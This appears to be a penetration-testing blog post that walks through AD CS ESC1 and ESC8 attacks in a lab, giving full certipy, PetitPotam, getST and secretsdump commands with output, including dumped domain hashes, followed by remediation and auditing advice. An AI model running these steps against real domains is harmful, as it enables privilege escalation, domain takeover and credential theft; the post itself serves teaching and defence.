2024-6-6 20:49:0 Author: securityboulevard.com(查看原文) 阅读量:3 收藏
Authors: George Raileanu and Eugene Mar
In this post, we’ll cover the two most common ESC attacks we encounter on our assessments, ESC1 and ESC8. Before we continue, we recommend having a vulnerable AD CS lab so you can follow along. To help with that, we have provided our accompanying guide here.
ESC1
At a high level, a certificate template that’s vulnerable to ESC1 has four attributes:
- It must be used for domain authentication and contain the Client Authentication, PKINIT Client Authentication, Smart Card Logon, SubCA, or Any Purpose ExtendedKeyUsage (EKU).
- Allow enrollment for low-privileged users or groups such as Domain Users.
- Contain the EnrolleeSuppliesSubject flag.
- It does not require manager approval.
If a certificate template contains all four attributes, users, even with low privileges, can request a certificate on behalf of another privileged account by providing the target account name as an alternative subject name.
Before demonstrating the exploit, let’s log in to the AD CS server and deploy a vulnerable template. To do this, we’ll duplicate a pre-existing template and add it to the Certificate Authority. Duplicating an existing template can often be how these insecure configurations are introduced as administrators may add the EnrolleeSuppliesSubject flag, for instance, to a template that already contained the Client Authentication EKU and allowed Domain Users to enroll.
First, open the Start Menu and type “run” in the search bar. Start the Run application.
In the Run box, enter certsrv.msc and click OK.
This will open the Certification Authority console. In the right pane, find the folder Certificate Templates, right-click, and click Manage from the drop-down menu.
This will open the Certificate Templates Console, shown below.
In the center pane, find and right-click the User template and click Duplicate Template.
This will open a new window where we can set the properties of a new template. Under the Subject Name tab, select the “Supply in the request” radio button. Next, select the General tab. In the Template display name box, enter the name of the template. For this demonstration, we’ll name it “TASVulnerableTemplate.” As we enter the name in the Template display name text box, the Template name text box will auto-populate, as shown below.
Select the Extensions tab and ensure the certificate can be used for client authentication by verifying that client authentication is a policy under the Description of Application Policies section.
Click OK to create our new template. Returning to our Certificate Authority console, click Certificate Templates on the right-hand pane. In the left-pane, right-click a blank space to open a drop-down menu, hover over New and click Certificate Template to Issue.
In the new Window, find our newly created template, select it, and click OK.
Excellent! Our AD CS server is vulnerable to ESC1
Next, we will need to log in to our attack machine. In this demonstration, we are using a Debian-based operating system. To identify weak configurations within the AD CS server, we will leverage certipy. More specifically, we will use the find command with the -vulnerable option.
# certipy find -vulnerable -u tasuser -p Password01 -dc-ip 10.10.0.10 -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'tas-TASCA01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'tas-TASCA01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'tas-TASCA01-CA' via RRP
[*] Got CA configuration for 'tas-TASCA01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : tas-TASCA01-CA
DNS Name : tasca01.tas.local
Certificate Subject : CN=tas-TASCA01-CA, DC=tas, DC=local
Certificate Serial Number : 11C616A91A755A8940BB51C488979184
Certificate Validity Start : 2024-03-29 20:22:28+00:00
Certificate Validity End : 2029-03-29 20:32:27+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : TAS.LOCAL\Administrators
Access Rights
ManageCertificates : TAS.LOCAL\Administrators
TAS.LOCAL\Domain Admins
TAS.LOCAL\Enterprise Admins
ManageCa : TAS.LOCAL\Administrators
TAS.LOCAL\Domain Admins
TAS.LOCAL\Enterprise Admins
Enroll : TAS.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Certificate Templates
0
Template Name : TASVulnerableTemplate
Display Name : TASVulnerableTemplate
Certificate Authorities : tas-TASCA01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : 16777216
65536
ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : TAS.LOCAL\Domain Admins
TAS.LOCAL\Domain Users
TAS.LOCAL\Enterprise Admins
Object Control Permissions
Owner : TAS.LOCAL\TAS ADMIN
Full Control Principals : TAS.LOCAL\TAS ADMIN
Write Owner Principals : TAS.LOCAL\Domain Admins
TAS.LOCAL\Enterprise Admins
TAS.LOCAL\TAS ADMIN
Write Dacl Principals : TAS.LOCAL\Domain Admins
TAS.LOCAL\Enterprise Admins
TAS.LOCAL\TAS ADMIN
Write Property Principals : TAS.LOCAL\Domain Admins
TAS.LOCAL\Enterprise Admins
TAS.LOCAL\TAS ADMIN
[!] Vulnerabilities
ESC1 : 'TAS.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
Much of this output can be ignored for now; what we want to focus on is the bottom section (bolded) containing the certificate template details. We see we have a template called “TASVulnerableTemplate” that is vulnerable to ESC1. The output shows that Domain Users have enrollment rights, the Enrollee Supplies Subject attribute is set to True, and the template allows client authentication.
Using certipy’s req command, we will request a certificate for the tasadmin01 domain admin account using the vulnerable certificate template and providing an arbitrary User Principal Name (UPN), [email protected].
Again, what allows our user, tasuser, to make this request is our membership to the Domain Users group, which, as can be seen in the certipy output above, is allowed Enrollment Rights on the “TASVulnerableTemplate” certificate template. Next, we can see the EnrolleeSuppliesSubject flag is included under the Certificate Name flag. The inclusion of this flag is what allows an enrollee to successfully request a certificate on behalf of another user. Lastly, we can see Client Authentication is included as an Extended Key Use. The Client Authentication EKU provides us with the ability to use the certificate for authentication.
# certipy req -username tasuser -p Password01 -ca tas-TASCA01-CA -target tasca01.tas.local -template TASVulnerableTemplate -upn [email protected]
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'tasadmin01.pfx'
Once we’ve obtained the certificate of the tasadmin01 account in the form of a Personal Information Exchange file (.pfx), we can then use certipy’s auth command to obtain the NT hash of the account.
To obtain the NT hash and the TGT, certipy will use the .pfx file to authenticate to the Key Distribution Center (KDC) as the specified principal, tasadmin01 in this case, using the Kerberos PKINIT extension.
# certipy auth -pfx tasadmin01.pfx -dc-ip 10.10.0.10
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'tasadmin01.ccache'
[*] Trying to retrieve NT hash for 'tasadmin01'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:7100a909c7ff05b266af3c42ec058c33
With the NT hash, we can now perform a DCSync.
# sudo secretsdump.py tasdc01.tas.local/[email protected] -hashes :7100a909c7ff05b266af3c42ec058c33 -just-dc-ntlm
Impacket v0.12.0.dev1+20240411.142706.1bc283fb - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8b2be69a582b946ed2030fbcccd1ac1c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:88f561d9da9e8d520066a052d6c24d31:::
tas.local\tasadmin01:1103:aad3b435b51404eeaad3b435b51404ee:7100a909c7ff05b266af3c42ec058c33:::
tas.local\tasuser:1105:aad3b435b51404eeaad3b435b51404ee:7100a909c7ff05b266af3c42ec058c33:::
TASDC01$:1000:aad3b435b51404eeaad3b435b51404ee:6920bb156afb53a4e6eda1bf0c1796b8:::
TASCA01$:1104:aad3b435b51404eeaad3b435b51404ee:da612657844a7ea60727a4e22ea56123:::
esc1$:1107:aad3b435b51404eeaad3b435b51404ee:e7da1fa496cf7ddc1c9bc2acce0de117:::
[*] Cleaning up...
Some Troubleshooting…
During the writing of this article, we encountered a few issues. The first, as always, was DNS. Verify /etc/resolv.conf and /etc/hosts files on the attacking virtual machine and ensure the correct entries are present.
Second, after obtaining the certificate, we were initially unable to authenticate using it. When using certipy auth, we received the “KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)” error. In this instance, our KDC was not yet configured to accept certificates for authentication (PKINIT). To fix this, we needed to install a certificate that contains the Server Authentication EKU which will allow us to then authenticate via PKINIT.
Referencing the certipy GitHub page and searching within the Issues revealed an easy fix.
From the domain controller, we issued the following commands:
certutil -addstore root \\tasca01.tas.local\CertEnroll\tasca01.tas.local_tas-TASCA01-CA.crt
certutil -addstore CA \\tasca01.tas.local\CertEnroll\tas-TASCA01-CA.crl
certutil -addstore CA \\tasca01.tas.local\CertEnroll\tas-TASCA01-CA+.crl
gpupdate /force
Note: you’ll need to change the FQDN and hostname to match your environment.
Remediation
There are a few steps we can take to mitigate the risk the comes with certificate template requests which allow Subject Names. Primarily, if supplying the Subject Name in the request isn’t required, we recommend disabling that option and instead using the “Build from this Active Directory information” option instead.
Additionally, if possible, enable the CA certificate manager approval option under the Issuance Requirements tab.
If the “Supply in the request” option is required for business purposes, we highly recommend restricting enrollment rights as much as possible and following Microsoft’s best practices linked in the references section.
References
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
ESC8
The ESC8 attack utilizes AD CS’s web enrollment feature. If the CA has a certificate template that allows for client authentication and domain computer enrollment, it becomes vulnerable. ESC8 can target any domain machine, including the domain controller, making these endpoints attractive for attackers seeking to exploit NTLM authentication and increase their access.
Let’s log in to our Attacker VM and download and run Certipy. We recommend tmux to split the screen for ease of view and use. There are many great resources to reference tmux, including IppSec’s video.
> sudo pip3 install certipy-adWe will also need to install git and PetitPotam.
> sudo apt update
> sudo apt install git
> cd /opt/ && sudo git clone https://github.com/topotam/PetitPotam
For this attack, all we need is a low privilege domain credential. First, let’s see if this AD CS server is vulnerable by using certipy to find vulnerabilities, using the “-vulnerable” option.
> certipy find -vulnerable -u tasuser -p Password01 -dc-ip 10.10.0.10 -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'tas-TASCA01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'tas-TASCA01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'tas-TASCA01-CA' via RRP
[*] Got CA configuration for 'tas-TASCA01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : tas-TASCA01-CA
DNS Name : tasca01.tas.local
Certificate Subject : CN=tas-TASCA01-CA, DC=tas, DC=local
Certificate Serial Number : 11C616A91A755A8940BB51C488979184
Certificate Validity Start : 2024-03-29 20:22:28+00:00
Certificate Validity End : 2029-03-29 20:32:27+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : TAS.LOCAL\Administrators
Access Rights
ManageCertificates : TAS.LOCAL\Administrators
TAS.LOCAL\Domain Admins
TAS.LOCAL\Enterprise Admins
ManageCa : TAS.LOCAL\Administrators
TAS.LOCAL\Domain Admins
TAS.LOCAL\Enterprise Admins
Enroll : TAS.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Again, a good portion of the output we can set aside for now; let’s focus on the bolded text:
The main takeaway from this output is the CA has Web Enrollment enabled, Request Disposition is set to Issue, and Authenticated Users have enrollment rights.
Now, since we have a domain user, we can coerce the domain controller to authenticate to us and then relay the authentication attempt to the AD CS server as a certificate enrollment request. In this case, the certificate request will then be made for the domain controller itself, providing us with a certificate we can use to authenticate as the target domain controller.
We’ll start our relay server using certipy. As shown below, we are listening for incoming traffic on port 445 and targeting the template of DomainController.
> sudo certipy relay -target 'http://tasca01.tas.local' -template DomainController
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting http://tasca01.tas.local/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
With our relay running, we can execute PetitPotam.py to coerce the domain controller to authenticate to our attacking system which will initiate our relay to the AD CS server.
> # python3 PetitPotam.py -u tasuser -p Password01 -d tas.local 10.10.0.100 10.10.0.10
.. SNIP ..
Trying pipe lsarpc
[-] Connecting to ncacn_np:10.10.0.10[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Once we coerce the authentication attempt from the domain controller, we can identify our relay forward the credentials and we successfully obtain the certificate in the form of a .pfx file!
> sudo certipy relay -target 'http://tasca01.tas.local' -template DomainController
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting http://tasca01.tas.local/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
TAS\TASDC01$
[*] Requesting certificate for 'TAS\\TASDC01$' based on the template 'DomainController'
[*] Got certificate with DNS Host Name 'TASDC01.tas.local'
[*] Certificate object SID is 'S-1-5-21-2163892083-3764541402-3616297243-1000'
[*] Saved certificate and private key to 'tasdc01.pfx'
[*] Exiting...
Using this file, we once again use certipy to authenticate. In this scenario, we only have one domain controller. This becomes a bit of a problem since we cannot perform a DCSync attack against a domain controller using that same domain controller’s credentials.
We’ll need to use the ldap_shell module and create a computer and assign it Resource-Based Constrained Delegation (RBCD) rights. (To better understand RBCD, we’ve provided a blog here). Ultimately, this will allow us to impersonate anyone on our domain controller through our newly created computer.
> certipy auth -pfx tasdc01.pfx -dc-ip 10.10.0.10 -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Connecting to 'ldaps://10.10.0.10:636'
[*] Authenticated to '10.10.0.10' as: u:TAS\TASDC01$
Type help for list of commands
# add_computer esc1 E$C1
Attempting to add a new computer with the name: esc1$
Inferred Domain DN: DC=tas,DC=local
Inferred Domain Name: tas.local
New Computer DN: CN=esc1,CN=Computers,DC=tas,DC=local
Adding new computer with username: esc1$ and password: E$C1 result: OK
# set_rbcd tasdc01$ esc1$
Found Target DN: CN=TASDC01,OU=Domain Controllers,DC=tas,DC=local
Target SID: S-1-5-21-2163892083-3764541402-3616297243-1000
Found Grantee DN: CN=esc1,CN=Computers,DC=tas,DC=local
Grantee SID: S-1-5-21-2163892083-3764541402-3616297243-1107
Delegation rights modified successfully!
esc1$ can now impersonate users on tasdc01$ via S4U2Proxy
Now that we have a computer account that has RBCD rights, we can use Impacket’s getST.py to request an SPN and impersonate a domain administrator.
> sudo python3 getST.py -spn cifs/tasdc01.tas.local -impersonate tasadmin01 -dc-ip 10.10.0.10 'tas.local/esc1$:E$C1'
Impacket v0.12.0.dev1+20240411.142706.1bc283fb - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating tasadmin01
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in tasadmin01@[email protected]
As shown above, we’ve successfully requested a CIFS Ticket-Granting Service ticket (TGS) for the domain administrator, tasadmin01, for use on our domain controller, tasdc01. We specify CIFS here because we’re planning on using Impacket’s secretsdump.py to perform our DCSync attack and secretsdump.py does this over SMB.
Let’s add the TGS to our KRB5CCNAME variable.
> export KRB5CCNAME=tasadmin01@[email protected]Once exported, we can perform a DCSync attack as the tasadmin01 account, specifying Kerberos authentication (-k) and no password (-no-pass) since our TGS will handle the credential.
> sudo secretsdump.py tasdc01.tas.local -k -no-pass -just-dc-ntlm
Impacket v0.12.0.dev1+20240411.142706.1bc283fb - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8b2be69a582b946ed2030fbcccd1ac1c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:88f561d9da9e8d520066a052d6c24d31:::
tas.local\tasadmin01:1103:aad3b435b51404eeaad3b435b51404ee:7100a909c7ff05b266af3c42ec058c33:::
tas.local\tasuser:1105:aad3b435b51404eeaad3b435b51404ee:7100a909c7ff05b266af3c42ec058c33:::
TASDC01$:1000:aad3b435b51404eeaad3b435b51404ee:6920bb156afb53a4e6eda1bf0c1796b8:::
TASCA01$:1104:aad3b435b51404eeaad3b435b51404ee:da612657844a7ea60727a4e22ea56123:::
esc1$:1107:aad3b435b51404eeaad3b435b51404ee:e7da1fa496cf7ddc1c9bc2acce0de117:::
[*] Cleaning up...
Remediation
To mitigate these types of attacks, we recommend following the steps Microsoft has outlined in the following link. Additionally, Microsoft provides a secondary mitigation, but we caution that this can potentially cause issues within an Active Directory environment. We recommend setting up logging and observing if NTLM is still in use within your environment prior to implementing these changes.
Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS)
Auditing
To begin collecting these Event IDs we’ll need to ensure “Issue and manage certificate requests” is enabled under the CA’s Auditing tab within the Microsoft Management Console (MMC).
Additionally, we’ll need to enable Audit Certification Services for both Success and Failure within Group Policy under \Local Computer Policy\Computer Configuration\Windows Settings\Security Settings\Advanced Audit Policy Configuration\System Audit Policies - Local Group Policy Object\Object Access.
Lasty, we’ll need to enable “Force audit policy subcategory settings” under \Local Computer Policy\Computer Configuration\Windows Settings\Security Settings\Security Options.
That completes ESC1 and ESC8! We hope this has been informative and challenges you to continue expanding your lab, possibly toward the remaining AD CS attacks!
*** This is a Security Bloggers Network syndicated blog from The Guiding Point | GuidePoint Security authored by GuidePoint Security. Read the original post at: https://www.guidepointsecurity.com/blog/leveraging-escalation-attacks-in-penetration-testing-environments-part-2/
如有侵权请联系:admin#unsafe.sh